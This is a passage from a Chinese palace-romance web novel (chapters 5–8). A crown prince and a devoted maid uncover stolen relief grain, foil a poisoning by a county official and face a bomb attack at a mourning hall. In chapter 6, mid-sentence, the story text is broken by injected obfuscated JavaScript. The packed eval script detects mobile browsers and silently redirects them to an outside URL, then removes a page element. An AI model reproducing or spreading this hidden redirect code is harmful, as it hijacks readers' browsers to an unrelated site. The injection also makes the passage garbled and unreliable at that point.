此时南风恰好过来唤醒江露染,甫一踏进房间,就看到谢知寒伏在江露染床边,衣衫不整,而江露染面带惊惶,一脸不安。 他立刻转过身去,捂住眼睛,对着房间的二人道:“对不起,公子,我...我什么也没看到...” 谢知寒站起身来理好自己的衣服,俊美的眉眼淡淡,看不出什么明显的情绪,他径直穿过南 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用早膳的时候,江露染似乎早就猜到了谢知寒的心思,她献宝似的拿出一碟糕点,对着谢知寒道:“公子,这是我的赔罪礼,你快尝尝!” 小姑娘的眉眼又闪出星光,望着他的杏眸无比专注。 谢知寒漆黑瞳孔望向那碟糕点,形状倒是非常精美,只是不知味道如何,想着,他的目光移到南风身上,南风自然知晓殿下心中的疑问。 只是他也不好回答,毕竟他想先替殿下尝尝味道,以免又发生昨日茶水的问题。 可是他才接近糕点,就被江露染推走:“不可以哦,这是给公子做的,只有公子才能吃。” 于是他也不知这碟糕点味道如何,在面对殿下面带询问的目光只能默默转开身子,在心里祈祷殿下自求多福。 江露染的目光带着盈盈期盼,一点也不似昨晚说梦话般的脆弱无助。 在江露染灼灼的注视下,谢知寒只好尝了一块糕点。 他贵为太子,却总是对面前这个才认识了一天的小姑娘束手无策。 糕点松软,入口即化,味道很是不错。 谢知寒挑眉,这次竟然是真的还可以。 “公子,味道如何?” 谢知寒开口声音清隽,像是夜晚淡淡的风。 “还可以。” 这简单的三个字给了江露染莫大的鼓励,她几乎要跳起来。 “真的吗?那我以后要天天给公子做这道糕点。” 南风轻声咳嗽,提醒江露染注意仪态,以免又惹了殿下不悦。 听到南风的暗示,江露染立刻反应过来,规矩地在桌案前坐好。 但眼神仍旧一眨不眨地望着谢知寒,杏眸中水光粼粼。 这个小姑娘都不知道害羞的吗? 谢知寒用完早膳,对着南风吩咐了几句,江露染很是好奇,问南风:“公子吩咐了些什么?” 南风对着江露染早就没有了防备,脱口而出:“公子说一会儿要去官署。” “公子去官署做什么?”江露染不解地问。 5. 第 5 章 南风这才反应过来,自己一时嘴快透露了公子的消息。 不过看今天早晨公子与江露染的亲密程度,公子应当是不介意的罢? 眼看着江露染杏眸中满含疑问,南风只好打个马虎。 “公子去官署...自然是有事情..” 官署一向闲人勿进,公子想来必定身份尊贵,可官署也不是身份尊贵就可以进入的。 公子为何偏偏要去吃闭门羹。 若是公子被官府中人赶出来可如何是好。 江露染一想到公子被人欺负,心中就涌起一阵怒意,想要立刻将官署中人打一顿。 可是自己只不过是他身边一个身份卑微的婢女,且婢女这个新的身份她还没能完全适应,如何可以改变公子的想法,想来也必定是不能的了。 官署一早就得知了上京中要派太子殿下来解决曲洲困境,本应该早早出来恭候。 但曲洲县丞本就做了亏心事,将朝廷发下来的赈灾米粮换成了银钱私藏,本就暗中躲避上面的盘查,恨不得太子在路途当中出了事端,耽误了行程才好。 谢知寒此番前来,并没有刻意隐瞒自己的行迹,外人看来他是个清冷矜贵的贵公子,但县丞的探子来报时,他就知小那一定是太子殿下。 因着心中有愧,怕被上面惩处,县丞这才没有出去迎接谢知寒。 且谢知寒来了曲洲以后,并没有第一时间来他的府衙,县丞崔安在心中便有了侥幸心理,或许殿下此番前来并不是来找他的。 崔安正在府中给自家的花浇水,下人便来禀告:“大人,有一位公子前来拜访。” 公子,好端端的,哪里来的什么公子。 崔安一愣,拉住那小厮问:“公子什么模样?” 小厮:“那人穿了一身白衣,气度不凡,不知道是哪家的贵公子。” 崔安浇花的手一顿,水从小壶中涌出,顺着花盆边沿流淌下来。 小厮眼见大人明显的不对劲,对着崔安道:“大人?大人?” 崔安方缓过神来,又问:“那公子带了多少人?” “加上奴仆,不过才几个人。” 还好,人不多,崔安放下心来。 放下浇花的手,立即前往门前迎接这位远道而来的太子殿下。 谢知寒此时站在官署门前,一身白衣纤尘不染,俊美无俦的脸庞带着淡然,远远看去像是谪仙一般。 江露染眼见半晌府衙中也不见有人出来,担忧谢知寒受辱,心中很是焦急。 一方面想劝公子离开,一方面又怕真的耽误了公子的要务,杏眸中满是担忧。 正在心中焦虑着,忽听闻门响,江露染抬眸望去。 正是闹了水患之后多日未露面的县丞崔安,他此时非常恭敬地站在侧边,尊敬非常的将公子迎了进去。 跟在谢知寒身后的江露染:? 能让平时嚣张的县丞如此恭敬,看来公子的身份远比自己想的要高。 崔安一看谢知寒,长身玉立,气质斐然,一身白衣衬得他周身如冰雪般不可贸然侵犯,只是淡淡的一个眼神就让自己倍感压迫,浑身战栗。 不愧是一国储君。 崔安看着谢知寒身后的人,几个侍卫一看就是武功高强,轻易招惹不得。 不过殿下身后那个花容月貌,容颜姝丽的小姑娘是何人?也没听说殿下纳了妃妾? 崔安恭恭敬敬将几人迎入室内,派人去温一壶好茶。 随后恭敬道:“不知殿下此番前来所谓何事?” 殿下。 江露染脑海中闪过一阵空白,崔县丞为何要唤公子为殿下,那夜避风之时曾听有人提起,说是上京的太子殿下会来拯救曲洲。 江露染福至心灵,难道公子就是传闻中宛若谪仙的太子殿下。 少女明眸睁大,一眨不眨地望着谢知寒,公子就是她那夜盼望了很久可以前来拯救世人的神明。 江露染明眸中的专注实在太过强烈,谢知寒墨黑的瞳仁淡淡瞥她一眼。 眼神不轻不重,但江露染还是能从中感受到他眼神中的警告意味。 江露染连忙站好,收回黏在谢知寒身上的视线。 这一瞬的交流被崔安捕捉到,眼看殿下对这小姑娘纵容的很,看来这小姑娘在殿下心中地位很不一般。 谢知寒清隽的眉眼平静无波,视线不轻不重落在崔安身上,与方才看江露染那一眼极为不同,崔安只觉这轻飘飘的一眼有着沉重无比的力量。 简直要压的他喘不过气来。 此时茶水上来,小厮也感受到室内的冰寒,立时恭敬地退了出去。 谢知寒冷白细长的手指摩挲着茶盏,眼眸幽静,如玉般的脸庞泛着冷沉。 崔安心中越发忐忑,不知这位传闻中一向仁善的殿下,今日走的是何路数。 良久,谢知寒才缓缓开口,声线磁沉,亦泛着冷意。 “曲洲如今状况,不知崔大人这些天都在做些什么?” 果然是来兴师问罪的。 崔安虽然心中发颤,但还是早就想好了托词。 “回殿下,下官这些日子一直在为曲洲之事忙碌,一刻不得闲。” 谢知寒缓缓端起茶盏,轻啜了一口,而后就将茶盏放下,这味道比昨日江露染那盏茶的味道还不如。 茶盏置于梨木圆桌上发出一声轻响,在安静的室内听来极为清晰。 一刻不得闲么。 谢知寒指节在桌案上轻点,发出有节律的叩击声。 听在崔安耳中像是催命的恶魔。 “崔大人果真是殚精竭虑,不愧是我朝股肱之臣。” 语气冷沉,听不出喜怒,就这样一字一句落在崔安心头。 不认真听的,还真以为谢知寒在夸人。 但南风很是知晓殿下如此淡然的言语,来的怒气就会越盛。 “崔大人当孤如此好骗么?” 谢知寒尾音落下,言语间已是怒极,清隽的眉眼也染上了几分薄怒,室内像是落了一场雪般冰寒。 崔安早就受不了来自这位太子身上的压迫,闻言,浑身发抖,对着谢知寒道。 “微臣所言句句属实,实在不敢欺瞒殿下。” 谢知寒漆黑的瞳孔中带了凌厉,宛如一把出鞘的利刃,他冷白的手指曲起,指尖发白,殿内冰寒的气氛加剧。 “微臣这就让人给殿下送来账本,殿下尽可观览。” 说着,立即派人将 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江露染寸步不离跟在谢知寒身后,路上有一粒小石子,谢知寒停顿下来想躲开,江露染不防备眼前人倏地停下,脚步未停,下一瞬就撞了上去。 清冷的檀香味袭来,裹挟了江露染全身。 她很快反应过来此举是冲撞了殿下,立即调整好自己身子。 谢知寒脚步微顿,听到背后传来一声娇弱的嘤咛。 今日在崔安那里也着实为难她规矩了半天,此刻可算让她可以放松了。 只是不知为何小姑娘连走路也会摔跤。 到了崔安安排的居所,南风和江露染就居于谢知寒两侧的房间。 南风进入到谢知寒房内,想看看殿下有何吩咐。 谢知寒沉吟片刻,吩咐南风,要他暗地里时刻关注崔安动向,这几日见了何人做了何事,一定要第一时间向他禀报。 南风领了命就要出去,忽闻谢知寒温声道:“等等。” 南风回身,只见殿下雪白的手心托了一只瓷白的药瓶,隐约能嗅到药瓶内淡淡的苦味。 “殿下,这是?” 谢知寒启唇,声音淡淡:“将这个药瓶带给那个小姑娘,看看她是否受了伤。” 南风接过药瓶,心内惊诧,这还是殿下第一次主动关心人。 这小姑娘到底有何魔力。 谢知寒也不知晓究竟为何,他脑海中总是回荡着江露染的模样。 那样娇气的人,碰一下想必是会很痛的罢? 南风将药瓶拿给江露染:“这是殿下让我交给你的药。” 江露染呆呆的从南风手中接过药瓶,额头上只是有些轻微红肿,远远用不上涂药。 细白的手指紧紧捏着药瓶,这这是殿下第一次给她物品,她一定要收好了。 这可是殿下的一片心意。 不知道他现在做些什么?一个人在房间内会不会无聊? 想到午时谢知寒清隽眉眼上的烦闷,江露染只想小心地给他抹平。 殿下那么好的人,应该永远开心。 6. 第 6 章 江露染小心的将药瓶放好,也不知晓谢知寒此时在做什么。 殿下此时想必也一定是在用膳,可是自己一个人用膳也太无聊了吧。 江露染想了想,收了别人的物品,不当面道谢不太好吧。 殿下如此敬重礼数的人,应当在等着自己过去道谢才对。 思及此,江露染对镜整理了一下自己有些散乱的衣领,甚至还精心梳了发髻,这下殿下看到自己的模样应该是不会生气了罢。 崔安早就让人送来了晚膳,谢知寒放下手中笔墨,静坐于桌前,昨日和前日都是和南风与江露染一起用膳,今日自己一个人倒显得有些冷清。 可是以往在东宫用膳时也是自己,自从母后离开之后,就很少有人与他同桌而食。 这么多年都过来了,今日为何反常的难受起来。 大概是远离上京,有些想念了罢。 谢知寒刚从回忆中走出,就听到门外一阵轻轻的敲门声。 动作很轻,像一只猫,生怕惊扰到他。 如果不是他习过武,此时恐怕还要听不到。 谢知寒漆黑瞳孔眯起,在此时还敢过来打扰他的只有——江露染。 果然,门外传来小姑娘娇柔的声音,轻轻的,像羽毛扫在谢知寒心间。 “殿下,殿下。” 似乎谢知寒一直不回应,她就会一直唤下去。 “进。”声线清泠,听上去殿下心情似乎还不错。 江露染小心地推门进来,一眼就望见谢知寒端庄有礼地坐于桌前,漆黑的凤眸此时正盯着自己。 小姑娘容颜姝丽,此时雪白的额上微微红了一块,像是在额上开出一朵粉嫩的桃花。 谢知寒不自觉地皱了皱眉,难道她没有用药?那瓶药可是宫中的太医用心配的,药到病除。 为何她的额头还是如此模样? 她难道不知道痛的吗? 眼见谢知寒对着自己皱了皱眉,江露染以为他对自己生气了。 她连忙温声道歉:“殿下,我不是故意打扰你用晚膳的,我来就是为了向殿下表示谢意。” 她为何老是对自己道歉,难道他是什么脾气特别不好的人吗? 谢知寒用眼神示意她过来,江露染小步小步地靠近。 眼看着姑娘额头上的薄粉晕开。 谢知寒淡淡道:“还疼吗?” 江露染听到谢知寒关心自己,很是开心,急忙对他道:“本来还有点疼,但是殿下送了药后,就不疼了!” 她都没用药,如何快速止痛,一看就是在信口开河。 眼见着谢知寒没有让自己出去,江露染越发得寸进尺起来。 “殿下,你也喜欢吃这道蟠桃饭吗?真巧,我也喜欢。” 眼见小姑娘在自己面前笑的眉眼弯弯,仿佛月牙。谢知寒瞬间明白了她的意思。 他缓缓开口,声线清晰。 “既喜欢,那就过来一起罢。” 眼见目的达成,江露染笑着坐到谢知寒身边,小姑娘身上的清甜很快传过来,谢知寒在宫中也用过不少名贵的熏香,更是见过宫中贵妃和公主用各种昂贵的香料。 因着母后从来不用熏香,是以他每次闻到香味,只会觉得不舒服。 但江露染身上的清甜味道让他觉得很是好闻,一点也没有不适。 江露染坐于谢知寒身边,坐姿非常规矩,一点也没有平时的散漫。 距离如此近,可以清晰地闻到谢知寒身上好闻的檀香,垂眼就是他腕骨上那一串玄色的佛珠,更加衬得他的手腕冷白如雪。 明明只是简单的用膳,江露染心跳却不自觉的加快,耳后也逐渐弥漫出粉色。 江露染无数次想问谢知寒关于曲洲的事情,可是想到他极为注重礼数,南风又对自己说过食不言寝不语。 好不容易等到用膳结束,江露染才对谢知寒开口:“殿下,崔安这个人狡猾的很,殿下可不要相信他。” “狡猾?” “虽然今日他在殿下面前装的很是乖觉,但是平日里他不是这样的,不知心中藏的是什么,殿下可一定要小心。” 小姑娘非常专注地望着自己,眼眸里清澈异常,宛如清澈的湖面。 里面只倒映着谢知寒一个人的影子。 这件事情不能对其他人讲,以免消息外泄。 但望着那双眸子,不知怎的,谢知寒一点也不想欺瞒她。 这对他来说已是非常反常,可是谢知寒对着那双明亮的眸子还是开了口。 “账本是假的。” 江露染不可置信道:“什么?他竟然敢欺骗殿下。” 崔安究竟是有多大胆子,竟然敢欺骗谢知寒。 他是真的不想活了么。 那账本虽然做的很漂亮,但是谢知寒仍旧一眼就看出了破绽。 崔安既然是想让自己相信这账本,那他就暂且不指出这账单的异常,让崔安先放松警惕,看看他的下一步是什么。 “殿下,这崔安反正也不是个好官,鱼肉乡亲,坏的很,殿下快些惩罚了他!” 看着江露染一脸不悦和正义,谢知寒无奈失笑,哪里是说惩处就可以惩处了的。 不过,崔安也自然是逃不脱的,就看他背后的人是谁。 此时能做的就是按兵不动,等崔安先露出马脚。 谢知寒等人在崔安府中相安无事过了七日。 眼看谢知寒一副气定神闲的模样,也不知晓这尊轻易招惹不得的大佛还要在府中多久,饶是镇定如崔安,心中也开始焦急。 毕竟这可是东宫太子,一个招待不周就可以让自己全家赔罪。 果然,谢知寒身边的暗卫打探到崔安出府去见了一个人。 知晓此事时,谢知寒正在房间里下棋,冷白的长指夹着一枚黑色的棋子,不急不徐下到棋盘的某个位置。 “别被他发现,继续盯着他。” 暗卫领了命就下去了。 江露染在一旁看着谢知寒自己一人对弈,其实前些天她一直陪着他下棋来着,但是她棋术不精,在谢知寒手下走不了几局就会输。 下过几盘之后,江露染深感没意思,自己也太耽误殿下时间了罢,于是就再也不和谢知寒对弈。 谢知寒就自己对弈。 他的棋术师从京中有名的围棋大家,技术很是高超,有时候连父皇也赢不了他。 这时候母后就会劝他:“身为子,又是臣,总赢陛下是不好的。” 而听到这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711773|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的父皇总会说:“下棋哪有故意谦让的,输赢怎么能作假,知寒的棋艺是真不错,在这皇宫中能赢朕的人没几个了。” 想到母后,谢知寒下棋的指尖一顿。 若是母后还在就好了。 是不是他就可以不这么孤单了。 察觉到室内气氛转变,江露染凑到谢知寒面前,杏眸认真盯着谢知寒完美无瑕的容颜。 面前的人如玉,如竹,身姿清隽,头上只一根玉簪绾发,看上去姿态出尘。 像是天上下来的仙人。 他可真好看,江露染心想。 可是他精致的眉宇间隐隐显露出哀伤,虽然谢知寒已经刻意隐藏,但还是被江露染看了出来。 殿下,在担忧些什么呢? 看到他忧心,江露染的心也跟着难过起来。 不知为何,谢知寒的一举一动总是可以牵动自己的心。 她想让他永远快乐无忧,永远做不染纤尘,高高在上的殿下。 “殿下,殿下。” 谢知寒回神时,听到江露染在呼唤着自己,自己出神已久,也不知晓她唤了自己多少声。 他缓缓抬眼,看向自己面前的少女。 眉眼姝丽,却带着与面容不符的天真和坚韧,此时一双含着水色的杏眸正一眨不眨地盯着自己。 “何事?” 江露染眼看谢知寒没有推开自己,越发栖身而上,像一只得寸进尺的猫。 少女身上清幽的甜香越发加重,围绕在谢知寒身边。 “殿下真好看,殿下是我见过最好看的人了。” 谢知寒本来以为她要问关于案情的事,又或者是关于棋局的事。 哪里想得到江露染会突然冒出这句话。 自己在京中一向循规蹈矩,宫中人亦是非常知礼数,像是一个模子刻出来的,他哪里听过这些话。 眼看江露染越贴越近,这距离是不是有些太近了。 谢知寒伸手推拒,恰巧碰到江露染主动凑上来,指尖碰到她细腻的肌肤,有点凉,又有点软。 谢知寒指尖像是碰到火光,立时收回,没有挡住江露染的一直靠近。 “殿下,不要伤心好不好?就当是为了我?” 少女停留在自己面前堪堪一寸,谢知寒可以清晰地看到她的细眉,她的眼眸,她的唇瓣,甚至还有她脸颊上细细的绒毛。 像是个刚成熟的小桃子,散发着无可抵挡的甜香。 明明他见识也不算少,也见过宫中大胆的婢女和侍卫私相授受。 那时他只觉得情爱累人,是个麻烦,不可以沾的。 但此时面对近在咫尺的江露染的小脸,只觉的心跳加速,甚至心中起了不一样的念头。 谢知寒不是什么不谙世事的人,他清楚地知晓此时的念头是什么。 可是此时青天白日,他做为一国储君怎可生出这种想法。 这既是对自己身份的亵渎,更是对小姑娘的不尊重。 谢知寒急急推开面前的江露染,疾行到桌边快速喝了一盏茶,这才平息了方才奇怪的旖念。 身后的甜香继续传来,江露染的声音清晰的响在耳畔。 “殿下,茶是凉的,需要我为你重新添一盏吗?” 7. 第 7 章 少女的声音响在耳后,谢知寒心内却一点也不镇定了,少女的声音像猫,娇俏且勾人。 “不用。” 他的声音听上去低沉喑哑,像是在忍耐着什么。 江露染凑上去,杏眸中水波盈盈,满是关切。 “殿下,是哪里不舒服吗?”为何声音听上去如此奇怪? 谢知寒深吸一口气,压下自己心中难耐的感觉,从江露染的角度可以看到他白皙的脖颈中喉结上下滚动,她还想继续偷窥,谢知寒转过身来,一字一句对着她道。 “你先出去。” 江露染没想到殿下会如此直白地将自己赶出去,本来微红的小脸一下子变得惨白,像是冬日落雪。 眼眸一下子睁大,充满困惑,看上去楚楚可怜。 “殿下...”江露染还想为自己解释一下。 谢知寒转过身去不再看她,却仍旧是让她出去。 江露染看着那道清隽的背影,失落地走出门去。 她方才还是太放肆了,果然殿下生气了。 江露染拍拍自己的额头,以后千万不能再如此冒失了,殿下喜欢知礼的人。 她以后一定要知礼才行。 南风过来向谢知寒禀报事情,看到江露染站在谢知寒门前,满脸失落。 “怎么了,小姑娘,又惹殿下生气了?” 江露染闷闷不乐:“你怎么知道?” 这还用猜。 南风安慰了江露染几句就去敲房门,然而殿下这次却破天荒的没有让他进入。 而是让他等在门外,片刻后才让他进入。 南风用眼神安慰了一下江露染,那意思就是放心,我会在殿下面前给你美言几句。 南风进入就看到谢知寒坐于桌前,如以往那般渊渟岳峙。 只是脸色看上去有些...奇怪? 南风脱口而出:“殿下是不是有些不舒服?要不要请大夫过来?” 谢知寒闻言握着茶盏的指尖一顿,他的表现难道如此明显,让两人都看出了异常。 他的视线移到南风身上,南风没来由的感到后背一凉,他近日又没做错事,殿下用这种眼神看自己做什么? 是了,殿下方才因为江露染生气了,此刻一定是因为小姑娘才迁怒自己。 可自己明明答应会替她求情,南风偷偷窥了一眼谢知寒,他的眼神仍旧凛冽,像含着无数冰雪。 罢了罢了,答应别人的事情就一定要做到。 “殿下,江露染那小丫头想必也不是故意惹您生气的,您就别跟他生气了吧。” 谢知寒顿了顿,声线清冷道:“孤难道看上去如此容易生气?” “不不不,殿下怎会如此,我的意思是说...” 话还没有说完,就被谢知寒冷沉的声音打断:“你也出去。” 南风和江露染一起失落地站在谢知寒门口,相对无言。 同时在想,殿下今日的确有点反常。 侍卫连续盯了崔安几日,那崔安见第一次与外人联系没有意外发生,于是在三日后又去了一次。 这次回来得到了一包药,刘回州让他放在太子的饮食中。 “这能行?” 刘回州捋了捋胡须,道:“此药无色无味,不会被人察觉,药性一旦发作,必定会要人一条性命,届时太子连自己都顾不得了,还能顾得上你我?” 眼见刘大人如此笃定,崔安心中再有怀疑也只能将药包收下。 晚膳时分将药包放在了蜜糕当中。 江露染自从上次与谢知寒同席用膳之后,一直就在谢知寒房中用膳。 江露染对谢知寒用的理由是:“殿下,一个人用膳太冷啦!” 谢知寒也只能随她去。 江露染眼看着今日的蜜糕做的很好,看上去就很美味。 看起来甜甜的,殿下吃了一定会开心。 “殿下,尝尝这蜜糕吧,一看就很好吃。” 接着,就传来轻轻的碗筷相撞之声。 在门外偷听的崔安一看谢知寒用了那道特别的糕点,心中窃喜,很快离去。 房内,江露染给谢知寒推荐完,自己也想尝尝,刚举起竹筷,那道菜就被谢知寒拿走了。 江露染停顿片刻,抬起眼眸,对着谢知寒不解道:“殿下...?” 难不成宫中的人不让吃甜食?看起来规矩还真是...繁琐呀。 谢知寒等了一会儿,唤了一个暗卫过来。 那暗卫身形如箭,很快闪进房中。 谢知寒对着他吩咐道:“查查这道菜。” 暗卫将一枚银针刺进,很快,银针尖就开始变黑。 江露染从一头雾水变成惊惶,这蜜糕竟然是有毒的,幸好殿下方才没有吃。 谢知寒指尖轻敲桌面,在寂静的室内听来极为清晰。 “让崔安过来。” 崔安很快被请过来,他静静等在自己房内,本以为可以等到太子晕倒的消息,谁知竟然是太子身边的侍卫南风过来将自己带去了。 “不知殿下叫微臣过来所为何事?是府中的吃食没有得殿下心意?微臣这就让人重新去做。” 谢知寒静静看着他,眉眼中透出森寒的冷意,令人望之生畏。 “是谁让你来谋害孤?”声音冷薄,一字一句压下来。 崔安心中震颤,这件事做的极其隐蔽,太子究竟是何时知晓的? “殿下为何要如此说?微臣对殿下可是最为忠心的。” “忠心。”谢知寒只淡淡说出两个字,语气平淡至极。 崔安却感觉后背发紧,紧张的喘不过气,像是被人扼住了咽喉。 下一瞬,就听到谢知寒平淡地开口:“你既如此忠心,就将它吃了罢。” 侍卫端上来一盘蜜糕。 崔安身形俱灭,跪在地上不住求饶:“还请殿下饶命,许是府中哪个下人不慎做错了,微臣这就让人去探查。” 事已至此,竟然还在狡辩。 果真如江露染所说的那般狡猾。 “南风。”谢知寒轻唤一声,南风就立刻到了谢知寒身边。 而后,接过侍卫手中的蜜糕,捏住崔安的下巴,将它全部喂进了崔安口中。 只是片刻的功夫,崔安就口吐白沫,神志不清了。 谢知寒面色冰寒,而侍卫一看这情况,立刻就将人抬走了,殿下最是爱洁,哪里容忍眼中看这些东西。 谢知寒转眼就看到江露染苍白的小脸,眼瞳中也起了一层薄雾。 他开口,声音磁沉:“害怕了?” 他虽然看上去总是云淡风轻,光风霁月,但是谢知寒知道,他并不完全是那样。 他今日的样子是第一次在江露染面前展现,难免会让她觉得难以接受。 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江露染回到房间有些无聊,她以前用完晚膳最喜欢和父母上街逛晚市,曲洲的晚市很是热闹,她通常要在那里玩好久。 可是如今,曲洲正逢危难,晚市早就没有了。 江露染抽出旁边书架上的一本书,打开随便翻着,上面的字句让她昏昏欲睡。 正在犯困,门外响起一阵清脆的敲门声。 江露染打开门,是南风,手中拿着一碟子蜜糕。 “是殿下吩咐我去买的,说是今天的晚膳担心你没有用好。” 殿下今日那么累,还能记着她今日的晚膳有没有用好? 殿下果真是个好人。 江露染笑着接过蜜糕:“谢谢南风,也谢谢殿下,你也一起过来吃呀。” 南风看着小姑娘的弯弯眉眼,道:“不了,我今日的晚膳用的很好。” 待南风走后,江露染尝了一块蜜糕,果真是很甜,看来今晚可以做一个很好的梦了。 希望可以梦到殿下。 希望自己在梦中可以为殿下解忧。 次日,江露染醒的很早,她一直记得今日殿下要去见另外一个人,可不能耽误了殿下的大事。 她早早地起床,叠好被褥,梳头洗漱,准备好一切后,打开房门,看着隔壁的两件房门还都在紧紧的关闭着。 江露染:... 一定是自己起的过于早了,江露染回房翻了两页书。 听到隔壁打开房门的声音,江露染立刻出去,果然见到谢知寒在开窗子。 她疾行到他面前,深深嗅着来自他身上的清冷檀香,对着他道:“早啊,殿下!” 她头顶有一缕翘起来的头发,谢知寒盯了一会儿。 片刻后问她:“早,今日醒的很早,都做了些什么?” “早起读书!”少女的声音掷地有声,像清晨鸣叫的雀鸟。 谢知寒望着少女明媚的笑脸,像是天边升起的灿阳,令人觉得无比温暖。 “读的什么书?” 这个,她倒真没注意。 眼看少女瞬间犯难的表情,谢知寒不禁失笑,轻轻地抚在她头顶,将她头顶那缕不安分的头发轻轻压了下去。 8. 第 8 章 收拾好一切,谢知寒前往刘回州家中。 刘回州乃是崔安的顶头上司,既然是他私下里跟崔安有联系,那就说明他跟消失的赈灾米粮一定有关系。 崔安都敢在殿下饮食中用毒,那么这个刘回州一定也是个丧心病狂之徒。 南风心中很是担忧,对着谢知寒道:“殿下,要不要上奏陛下,多派些人手过来。” 他实在是担心殿下安危。 谢知寒目视前方,眼神中带着一丝凌厉,片刻后道一声:“不必。” 区区一个刘回州倒还不用如此大费周章。 众人都以为今日会是一场恶战,但谁料到了刘府门前,看到府门前都挂了白藩。 原来是刘回州听说崔安谋害太子殿下一事败露,担心受怕之下竟然吓死了。 此刻刘家人正在他棺前守灵。 谢知寒看了一会儿刘府门前的白色,目光透露出凛冽,死了就可以逃脱了么。 想着,他径直走入刘府门前。 门前侍卫眼见这几个人穿着打扮气质不俗,并且是从未见过的模样。 一看就不像是来为老爷守灵的,立即将谢知寒拦在门外。 “站住,干什么的,也不看看这是什么地方,闹事也找别的地方去。” 谢知寒闻言只是淡淡地瞥了他们一眼,仅仅是一眼,侍卫就感受到了凛冽的寒意,带着无法反抗的威压,胆子小的竟然浑身战栗起来。 还没等他们对谢知寒无礼,他们几人就已经被暗卫打倒。 谢知寒迈步向里面走去,闲庭信步。 但其余人知晓这只是太子殿下的表象。 殿下一贯风轻云淡,但是出手总是不留情面。 刘回州的家眷此时正在正厅为他守灵,忽听的背后传来一阵轻轻的脚步声。 还以为是哪位亲眷,回头去看,却发现是几位气度不凡的公子,还有一位容貌姣好的小姑娘。 一行人穿着不俗,一看就不是曲洲人士。 中间那位穿白衣的公子尤甚,渊渟岳峙,清冷矜贵,眼神淡淡地看过来时只觉得无比冰寒。 一看就不是来守灵的。 刘回州的夫人王氏上前问道:“不知几位公子是来做什么的?” 南风上前道:“这位是京中派来调查赈灾米粮的太子殿下。” 太子殿下,王氏吓得连连后退,周围人也是惊诧不已。 太子殿下来府中做什么,难不成大人跟赈灾米粮又有了什么牵扯? 王氏恐慌不已,努力调整好自己,正打算跟谢知寒一众人行礼,忽然看见斜侧里一个人影朝着谢知寒不偏不倚冲了过去。 口中还厉声喊着:“我管你是什么人,爹爹就是因为你才死的,我要你跟爹爹偿命。” 是刘回州的儿子刘风竹。 爹爹重病那几日口中不停地念叨着什么太子,什么崔安。 他那时心中就对这两人恨之入骨,想着一定要杀了二人为爹爹报仇。 结果他还没有去寻人,这爹爹口中的太子殿下就自己送上门来了。 现在不动手正待何时? 他出手的动作很快,但是谢知寒身边的暗卫动作更快。 一把就控制住他,截下刘风竹手中锋利的匕首。 暗卫扭住刘风竹的手臂,将他用力控制住。 王氏眼见自己的儿子被人如此羞辱,自己的丈夫前两日狠心抛弃自己而去。 气急攻心之下,一口气没上来晕了过去。 身边人眼见没了主心骨,瞬间乱了起来。 有人去扶王氏进内室休息的,有向谢知寒告饶的,有的吓得缩在一边瑟瑟发抖。 谢知寒冷眼旁观室内发生的一切,让暗卫很快控制住局面。 室内瞬间安静了下来,偶尔听到几声妇女害怕的啜泣声。 谢知寒命人去搜房间,果然在刘回州房间的暗室中搜到了朝廷的赈灾米粮。 他保存的很好,想来是存着日后换成银钱的心思。 眼看证据确凿,谢知寒等人正要离开。 刘风竹趁暗卫不备,奋力挣脱出来。 将衣袖中拢着的火药拿了出来。 他表情阴森,看上去有些癫狂:“我早知道会有这么一天,你们这些人一个也逃不掉!” 说着,就用一侧的白烛点燃了火药的引线。 事情发生在转瞬之间,众人都没来得及反应,身在谢知寒一侧的江露染第一时间反应过来,立刻扑到谢知寒面前,用自己小小的身体挡住了火药爆炸的伤害。 引线点燃,火药很快炸开,室内烟雾弥漫,一众人传来呼救声。 谢知寒只觉眼前漫出一阵浓烈的白烟,而后身体不受控制地向后倒去。 而倒下去时,怀中倾覆过来一个娇小的身躯,用力而紧紧地拥着自己。 江露染的甜软声音回荡在耳边,她轻声但坚定地唤自己:“殿下。” 刘风竹是仓促之下买的劣质火药,看着吓人,但伤害性并不高。 南风等人被火药唬住了,眼看着这火药只是个吓人的花架子,但殿下毕竟摔倒了。 谢知寒扶着怀中的江露染站起身,认真检查江露染身上的伤口。 江露染方才站在最前方,正是受火药冲击力最大的地方。 此时她耳朵有点嗡鸣,头也有点晕晕的。 眼看着谢知寒细白指尖朝着自己抚过来,她连忙摇头道:“殿下不用担心我,我没事的。” 脖颈一痒,而后看到谢知寒细白指尖沾了殷红的血迹。 江露染本来就晕沉的头脑此时更甚,对着谢知寒低声呢喃:“殿下,这是血...” 话还没说完,就径直晕了过去。 眼看江露染就要跌倒在地,谢知寒眼疾手快拥住她的纤细腰肢,小姑娘的乌发有些凌乱,双眼紧闭,倒在他怀中人事不省,像株风雨中易折的花枝。 谢知寒抱紧怀中晕过去的少女,眉眼沉沉,透出几分薄冷。 少女纤细雪白的颈处有一道伤口,是被火药的火星溅伤的,此时殷红的血液正从那里流出。 谢知寒将自己的衣袖扯下,仔细地为江露染包扎好伤口。 将怀中少女交给南风,谢知寒取出佩剑,剑刃出鞘,在日光下泛着泠泠的寒光,刘风竹已经被人控制住,眼看事情败露,此时才明白自己命不久矣,眼神中流露出惶恐的哀求。 与方才疯癫的模样判若两人。 谢知寒提剑而上,步伐稳而坚决,他的背影像是天上的明月,清冷出尘,然而墨黑的眼瞳中却透露出凌厉的杀伐之意,所过之处,无不胆寒。 刘风竹清晰地感觉到谢知寒身上凛冽的杀意,此时他终于明白,眼前这个人轻易招惹不得。 看着那道光风霁月实则满含肃杀的身影距离自己越来越近,刘风竹口中开始求饶,慌不择言。 然而,下一刻他的尖利求饶声就戛然而止,殿内方才还有着各种嘈杂声音,而此刻随着谢知寒手中剑光闪过,殿内瞬间安静下来,落针可闻。 刘风竹脖颈处划过一道缝隙,鲜血正从那里喷薄而出。 他的双眼瞪得圆圆,只是此刻已经完全无神了。 